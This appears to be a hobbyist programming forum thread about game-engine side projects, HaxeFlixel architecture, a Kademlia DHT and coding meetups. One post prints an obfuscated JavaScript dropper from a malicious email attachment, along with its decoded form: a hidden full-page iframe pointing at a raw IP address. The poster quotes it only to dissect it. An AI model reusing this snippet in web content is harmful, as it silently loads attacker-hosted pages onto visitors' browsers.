I think I'm just stuck in an engine dev rut. Maybe I should focus on what my tools can do now, and improve the engine slowly over time, while I focus on short term projects that use it.
At 6/26/16 12:44 AM, GeoKureli wrote: I think I'm just stuck in an engine dev rut. Maybe I should focus on what my tools can do now, and improve the engine slowly over time, while I focus on short term projects that use it.
Oh cool. Are you building a game engine from scratch ? Is it open source ? BTW George we really have to meet up for coffee sometime. You're like seriously 5 miles away from me probably. lol
At 6/25/16 10:52 PM, MSGhero wrote: I personally stay motivated by working on different areas of the project since mine is fairly big. I just pick something off my long todo list that sounds fun at that moment.
Is this Enki Adventures ? How is it going so far ? Taking less than 3 years I hope ? :)
At 6/26/16 02:21 AM, PrettyMuchBryce wrote:At 6/26/16 12:44 AM, GeoKureli wrote: I think I'm just stuck in an engine dev rut. Maybe I should focus on what my tools can do now, and improve the engine slowly over time, while I focus on short term projects that use it.Oh cool. Are you building a game engine from scratch ? Is it open source ? BTW George we really have to meet up for coffee sometime. You're like seriously 5 miles away from me probably. lol
Ha, yeah for sure, I'll PM you my number, and we can get the ball rolling.
Everything I do is open source, with the intention of sharing, one day. The question is, is it worth sharing, right now. It's just a hodgepodge of utils and tools glued together by a slightly ad-hoc proprietary HaxeFlixel based DAME parser.
At 6/25/16 02:25 PM, PrettyMuchBryce wrote: I'm trying to implement a Kademlia DHT in Go this weekend. Fun, but slightly tedious. This side-project has been ongoing for a little while now so I want to wrap it up soon. After this.. back to to my 3 years long game project. ;)
That sounds really really cool but I have a faint idea of what that means. Is this just a way to store data on a collection of nodes? For the purposes of transferring over a network? Speed of transfer? Efficiency of retrieval? All of the above?
Speaking of side projects: It feels like it takes forever to get projects done if I can only work on the weekends. I've been trying to do at least an hour a day as much as I can.
Also speaking of side projects: I moved to a new city for an internship, but something I'm really missing is this "Coffee House Coders" idea we used to have. It was basically just a bunch of people who'd meet at a coffee shop every Monday night and everyone would work on their own side projects. It was nice because even if you were busy you could at least dedicate 2 hours a week to showing up and trying to get something on, and seeing what everyone else was working on. It doesn't seem like a very widespread idea though.
At 6/26/16 02:21 AM, PrettyMuchBryce wrote: Is this Enki Adventures ? How is it going so far ? Taking less than 3 years I hope ? :)
Yes it is and it's going slowly unfortunately due to my internship. I got the procgen overworld mostly done, right now I'm working on entering and exiting houses, which I've always found not straightforward in each game I've done it in.
I'm not really sure where progress is because I'm doing the "put all early effort into making the engine amazing" approach. If I wanted to add a new enemy for instance, it needs 2-3 jsons in my data folder and then recompile the spritesheet and that's it. The ways I've done it in the past, especially when it comes time to tweak stats, was awful. Now you can edit data files mid-game.
But then there are dungeons and I have no info on those and haven't thought about them at all... < 3 years I hope.
At 6/26/16 10:03 AM, MSGhero wrote: But then there are dungeons and I have no info on those and haven't thought about them at all... < 3 years I hope.
Pfft, dungeons will be eeeasy. Procedurally generated puzzles? Bah, not an issue.
At 6/26/16 01:32 PM, TheEnkian wrote:At 6/26/16 10:03 AM, MSGhero wrote: But then there are dungeons and I have no info on those and haven't thought about them at all... < 3 years I hope.Pfft, dungeons will be eeeasy. Procedurally generated puzzles? Bah, not an issue.
Yeah...thinking about handmade puzzles that are randomly stitched together. But I'm not worrying about that anytime soon, maybe procgen puzzles are easy.
At 6/26/16 06:27 AM, OmarShehata wrote:
Also speaking of side projects: I moved to a new city for an internship, but something I'm really missing is this "Coffee House Coders" idea we used to have. It was basically just a bunch of people who'd meet at a coffee shop every Monday night and everyone would work on their own side projects.
Every time I go to coffee shops there's people working on laptops. Are you saying they would go there and... like talk to each other while making games? That's a pretty good idea, creative spaces charge a lot for membership just to allow people to sit around and work on something. Why not start a meetup group
At 6/26/16 10:03 AM, MSGhero wrote:At 6/26/16 02:21 AM, PrettyMuchBryce wrote: Is this Enki Adventures ? How is it going so far ? Taking less than 3 years I hope ? :)Yes it is
I had a friend in college who was making an adventure game about your titular Sumerian god, you two wouldn't happen to be the same person would you? Wait you're names Nick. It's not you.
At 6/26/16 03:20 PM, Innermike wrote: Ay, ye olde PAEEIMTEA approche, she be a cruel mistress indeed. Many a fine lad hath fallen to her whims.
PAEEIMTEA™ at the very least is relaxing and calming when things change mid-project and all I have to do is recompile to implement them.
What's not relaxing is the amount of refactors I have to do for terrain-related stuff omg. More like phases of the same refactor, I guess.
At 6/26/16 03:43 PM, GeoKureli wrote: I had a friend in college who was making an adventure game about your titular Sumerian god, you two wouldn't happen to be the same person would you? Wait you're names Nick. It's not you.
Please tell me I'm not making a game someone else has already exactly made.
At 6/26/16 03:47 PM, MSGhero wrote:At 6/26/16 03:43 PM, GeoKureli wrote: I had a friend in college who was making an adventure game about your titular Sumerian god, you two wouldn't happen to be the same person would you? Wait you're names Nick. It's not you.Please tell me I'm not making a game someone else has already exactly made.
http://enkiangames.tumblr.com/
Looking at your game, the 2 games have some very distinct differences. My friend's game sucked, and was in 3d, being the most notable differences.
At 6/26/16 03:59 PM, GeoKureli wrote: Looking at your game, the 2 games have some very distinct differences. My friend's game sucked, and was in 3d, being the most notable differences.
My game doesn't suck. Nice. When I'm done with the terrain/can compile once again, I'll post a demo to get some feedback.
At 6/26/16 03:16 PM, MSGhero wrote: Yeah...thinking about handmade puzzles that are randomly stitched together. But I'm not worrying about that anytime soon, maybe procgen puzzles are easy.
Yeah, we'll worry about that hard dungeon stuff later. If we can handle the overworld, houses and caves then we can start being more proactive with promotion. Throw out demos publicly and such.
At 6/26/16 03:43 PM, GeoKureli wrote: Every time I go to coffee shops there's people working on laptops. Are you saying they would go there and... like talk to each other while making games?
I am in favor of this idea. When's the first meetup?
Programming stuffs (tutorials and extras)
PM me (instead of MintPaw) if you're confuzzled.
thank Skaren for the sig :P
Kmart must really love me.
Or really hate me, judging by that HTML document I got from the last one. Nasty bit of work, there:
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%69%64%3D%27%69%66%72%61%6D%65%32%27%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%34%36%2E%31%38%33%2E%32%31%39%2E%31%34%30%2F%41%70%70%6C%69%63%61%74%69%6F%6E%73%2F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%73%74%79%6C%65%3D%22%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%3B%20%68%65%69%67%68%74%3A%20%38%37%30%70%78%3B%0A%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%20%31%30%30%25%3B%20%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%22%20%68%65%69%67%68%74%3D%22%31%30%30%25%22%20%77%69%64%74%68%3D%22%31%30%30%25%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%3E%3C%2F%69%66%72%61%6D%65%3E'));
//-->
</Script><html><head></head><body></body></html>
Unescaped:
<iframe id='iframe2' src="http://46.183.219.140/Applications/" frameborder="0" style="overflow: hidden; height: 870px;
width: 100%; position: absolute;" height="100%" width="100%" scrolling="no" ></iframe>
That URL doesn't look friendly, and that script at the bottom looks extra-unfriendly.
Well, that was fun. Enjoy pulling that apart, I know I did :)
Edit: Second JS doesn't look super-malicious when I look at it again, but that adblock portion put up some red flags so I found it interesting either way.
Programming stuffs (tutorials and extras)
PM me (instead of MintPaw) if you're confuzzled.
thank Skaren for the sig :P
Discovered a critical "heartbleed-like" vulnerability in someone's (very, very popular) website. Been reading interesting stuff in memory for the last hour or so. Time to package it all up and send it off to the owner. Hopefully they read their e-mails.
What's funny is that I haven't even started digging around their server. This is just something I stumbled across while I was bored.
.. Actually, that's not funny. That's terrifying. I use this particular site quite a lot :/
Programming stuffs (tutorials and extras)
PM me (instead of MintPaw) if you're confuzzled.
thank Skaren for the sig :P
At 6/26/16 06:27 AM, OmarShehata wrote: Is this just a way to store data on a collection of nodes? For the purposes of transferring over a network? Speed of transfer? Efficiency of retrieval? All of the above?
The main advantage is decentralized discovery. All of the nodes share data, and any node can find a node/data by contacting O log(n) nodes. The nodes learn about other nodes in the network over time. BitTorrent uses Kademlia for trackerless torrents, but only for peer discovery. The actual files are transferred through other mechanisms.
I'm not really sure where progress is because I'm doing the "put all early effort into making the engine amazing" approach.
This sounds cool. It sounds like you have a put a lot of thought into the engine components. Hopefully this will pay off in the form of decreased development time later on. In terms of the game itself it is story-driven, right ? Will there be a main quest ?
Discovered a critical "heartbleed-like" vulnerability in someone's (very, very popular) website.
Memory overflow bug ?
At 6/27/16 04:25 PM, PrettyMuchBryce wrote: Memory overflow bug ?
Not nearly as cool. Java server throws exception that is never caught properly and gets spit out in the response instead.
Why are exceptions returned to the client instead of logged in the console or at least a file? I wish I knew. I suspect it has something to do with the fact that (I think) it's a framework that you build on, so perhaps easier bug hunting?
Programming stuffs (tutorials and extras)
PM me (instead of MintPaw) if you're confuzzled.
thank Skaren for the sig :P
At 6/27/16 04:25 PM, PrettyMuchBryce wrote: This sounds cool. It sounds like you have a put a lot of thought into the engine components. Hopefully this will pay off in the form of decreased development time later on. In terms of the game itself it is story-driven, right ? Will there be a main quest ?
Nah, no story, or at least not much of one. It'll be exploration-based, with the goal of beating big baddies and stuff.
It's already paid off for the parts that are "done" by reducing the amount of time to implement new things and change/replace old things. I need to blog more about it, but I haven't had much time to code, much less talk about my code. Maybe when I finish these terrain bits, I'll do the demo and do some writing instead of starting the next item on my todo list. Or the inline todo comments that I don't feel like adding to the list.
Speaking of which... (my bitbucket is private sorry)
Urgent:
- Integrate zones into terrain omg
Important:
- Need to be able to exit houses (exit door should be npc?)
-- Need a way to get back to old position on map
-- Show the open door? Not sure if it matters
- Transitioning maps: player can get caught on faux edge
- Enemies can init while colliding with physics
- I don't actually need the item macros I don't think
- Figure out a nice way to control pets, if pets are controllable still
- Inv
- Make sure hotswapping services works
Todo:
- Prolly need to los to each waypoint to see if one down the line is immediately visible
- Change the stage scale mode so the nape shapes scale too
- Reset enemy anims/facings to default when leaving/entering
- I think invuln lasts too long
- Random stuff inside houses
- Confirm player swinging sword doesn't collect items twice (killing bush and spawning item on top of player and wep)
-- Though the powerup should persist long enough for the player to notice it
-- Maybe make it invuln
-- But not so long that it becomes annoying to wait for it
- Spawn non-RE things from ai
- Finish Hscript potion effects
- Add gameui,dia stuff to consts
- Compress data that's not in use (maybe Huffman)
- #if debug all the debuggy things
- Bomb explosions should be a lot bigger
-- Maybe they roll into water? Bit annoying tho
- Some serious GC management (hxscout)
-- Reduce string and array allocations bc all the cool kids do that
--- mc, "default", bxc, entityhelper, inpututil, asset paths, among others
-- Reduce local var allocs
-- Do interp vars get GC'd?
- EQ/RE/CR recycling/whatever for when things are spawned midgame
- Pool timers, other things if constructors do a lot
- Replay service
-- Custom replay -> use networking tactics (keyframes + interp guessing)
- Custom keybindings
- Enemies respawn after dungeon boss is killed
- Flat RE (dagut trail) and non-static spd=0 is kind of a hack...
- Center during scale tween (not updateHitbox)
-- Assuming I still need scale tweens
- Closures with sorting byBot in Zone.update()
Minor:
Polish:
- Wraith cardinals onHit or just reflect?
- Enemies/pets shouldn't @bounce when following, looks weird
- Pets seek to a random point in player's radius
-- Delay before starting to move
-- Add a "oh hey he started moving, let me catch up" turn and speed boost
- Spearhead should bounce back after charging... but nape's elasticity doesn't work here
- Ogre spear throw offsets
- Improve RE delays all around
- Pets do something when they get near (look around, look at you, walk slower towards you, etc)
- Hitting trees and such does something nonpermanent (wall hitby)
- Screenshake everywhere
- Hit hold, either locally or globally
-- Maybe a 1-3 frame hold before knockback
- Enemies flashing white is more visible than vanishing
- Mp bar flicker (red) when casting with too low mp
-- Maybe something when an mp chunk fills up, like a noise
- Varied cast anims
- The 2 frame boomerangs look weird going to and from (the direction should flip)
- Heroes (and others?) should move forward slightly when swinging sword (maybe backward for ranged and spells)
- Very slight screenshake onHit for normal weps and spells (maybe)
Bugs:
- Rare edge case where enemy's seek delay/player's speed is too great and pathing fails
-- This would get exacerbated by a faster player or longer delay or shorter recentPts. Not solvable but avoidable perhaps. At 6/27/16 04:47 PM, egg82 wrote: Why are exceptions returned to the client instead of logged in the console or at least a file? I wish I knew. I suspect it has something to do with the fact that (I think) it's a framework that you build on, so perhaps easier bug hunting?
I've seen it a lot in development environments, but if something unexpected happens and the server returns 5xx then it should definitely never be returning the exception in a production environment.
At 6/27/16 04:25 PM, PrettyMuchBryce wrote: This sounds cool. It sounds like you have a put a lot of thought into the engine components. Hopefully this will pay off in the form of decreased development time later on. In terms of the game itself it is story-driven, right ? Will there be a main quest ?
Main quest involves going to multiple dungeons and beating the bosses (in any order) to get to the final boss who rules over this randomly generated island. Multiple player characters (builds, basically) with some different dialogue and reason for being there for each, but it doesn't go much deeper than that. I've written them all back stories and reasoned in-universe why the island is random, but it'll only be touched upon. Gameplay is the prime focus with this one.
At 6/28/16 10:19 AM, TheEnkian wrote: Main quest involves going to multiple dungeons and beating the bosses (in any order) to get to the final boss who rules over this randomly generated island. Multiple player characters (builds, basically) with some different dialogue and reason for being there for each, but it doesn't go much deeper than that. I've written them all back stories and reasoned in-universe why the island is random, but it'll only be touched upon. Gameplay is the prime focus with this one.
Cool. This sounds like something I would definitely play. I love procedural generation, and LTTP is probably one of my favorite games of all time. The visual aesthetic of your game kind of reminds me of that.
At 6/28/16 01:25 PM, PrettyMuchBryce wrote: Cool. This sounds like something I would definitely play. I love procedural generation, and LTTP is probably one of my favorite games of all time. The visual aesthetic of your game kind of reminds me of that.
Cheers, dude. I tried to get a bit of a blend between A Link to the Past and the Minish Cap in terms of art style.
At 6/27/16 12:08 AM, egg82 wrote:At 6/26/16 03:43 PM, GeoKureli wrote: Every time I go to coffee shops there's people working on laptops. Are you saying they would go there and... like talk to each other while making games?I am in favor of this idea. When's the first meetup?
Thought about it, why not approach your local IGDA chapter? I happen to know the heads of the San Francisco and Chicago chapters. I'll be sure to run it by them. Fuck, I should be more participative in IGDA.
EDIT: Forgot to mention. as soon as I got my repo sqaured away, and fixed the issues I left months ago, I decide to do haxelib upgrade, only to realize haxeflixel 4 is out, and they changed everything. I don't want to deal with this, but I don't wanna stick with an old version> It seems like they are heading in an interesting direction.
now to fix 100's of compile errors
At 6/28/16 03:14 PM, GeoKureli wrote: EDIT: Forgot to mention. as soon as I got my repo sqaured away, and fixed the issues I left months ago, I decide to do haxelib upgrade, only to realize haxeflixel 4 is out, and they changed everything. I don't want to deal with this, but I don't wanna stick with an old version> It seems like they are heading in an interesting direction.
now to fix 100's of compile errors
Yeah... master was behind dev by more commits than github could load. The elapsed update seems like forever ago.
Flixel is in a weird spot bc they need to break the glass inheritance tree (or whatever people call it) and move to a more component system, but there are only a busy handful of people who know the core well enough and know where they want it to go well enough to make those changes.
Also, dev OpenFL and flixel aren't compatible anymore, and the one busy person who had an idea of how to fix it is busy.
At 6/28/16 06:01 PM, MSGhero wrote: Flixel is in a weird spot bc they need to break the glass inheritance tree (or whatever people call it) and move to a more component system, but there are only a busy handful of people who know the core well enough and know where they want it to go well enough to make those changes.
Thank you! that's what I'm currently trying to do with my engine in the long run, because I don't want to extend FlxBasic/Object/Sprite with the same features, It would be nice if a "FlxSprite" was just a FlxObject with a graphics component and so on all the way down to FlxBasic, then I could extend FlxObject and it would cover all types.
I've actually been planning to write up a proposal to the flixel community about this, glad it's a known thing.
At 6/28/16 06:37 PM, GeoKureli wrote: Thank you! that's what I'm currently trying to do with my engine in the long run, because I don't want to extend FlxBasic/Object/Sprite with the same features, It would be nice if a "FlxSprite" was just a FlxObject with a graphics component and so on all the way down to FlxBasic, then I could extend FlxObject and it would cover all types.
I've actually been planning to write up a proposal to the flixel community about this, glad it's a known thing.
It's spread across multiple issues and prolly over 100 comments. At first, they were going to put something between Sprite and object that would just have graphics, but I think everyone kinda knows a lot more would still need to be done.
Another thing this would solve is that every Sprite's bmd is using double memory. You want a copy for when you transform the bmd and need to go back, etc, but it also doubles your huge static backgrounds. Before optimizing, I had 64
512x288 sprites, and flash was doing that weird kinda lag where you're using too much memory, because there were another 64 sitting around. CopyPx is fast enough that I only need at most 2 maps at a time now, but still. The graphics component would hold one copy, and maybe a transform component holds the other, which you don't use if you don't need it.
serious transforms though, position should be separate obv
Currently all my engine needs is to extend FlxSprite, so I can continue to live with the current inheritance structure, but yeah, I'm surprised this isn't something they put a lot of work into, yet
At 6/28/16 07:22 PM, GeoKureli wrote: Currently all my engine needs is to extend FlxSprite, so I can continue to live with the current inheritance structure, but yeah, I'm surprised this isn't something they put a lot of work into, yet
Yeah idk. One of the maintainers will randomly come in with thousands of loc changes that fully implement some new thing or restructure existing stuff, but they're always breaking changes. I think his job is taking up all his time, plus there needs to be a consensus and no one is really sure yet.
Them: "So you say you're a programmer?"
Me: "Been doing it a while, yeah."
Them: "So you know all the HTML stuff, then."
Me: "FOR FUCKS SAKE IT'S A BIGGER WORLD THAN JUST WEB DEVELOPMENT"
Seriously, though. I cannot for the life of me find a goddamn programming gig without someone eventually asking me to make a fucking website. I. Do. Not. Do. Websites.
Programming stuffs (tutorials and extras)
PM me (instead of MintPaw) if you're confuzzled.
thank Skaren for the sig :P
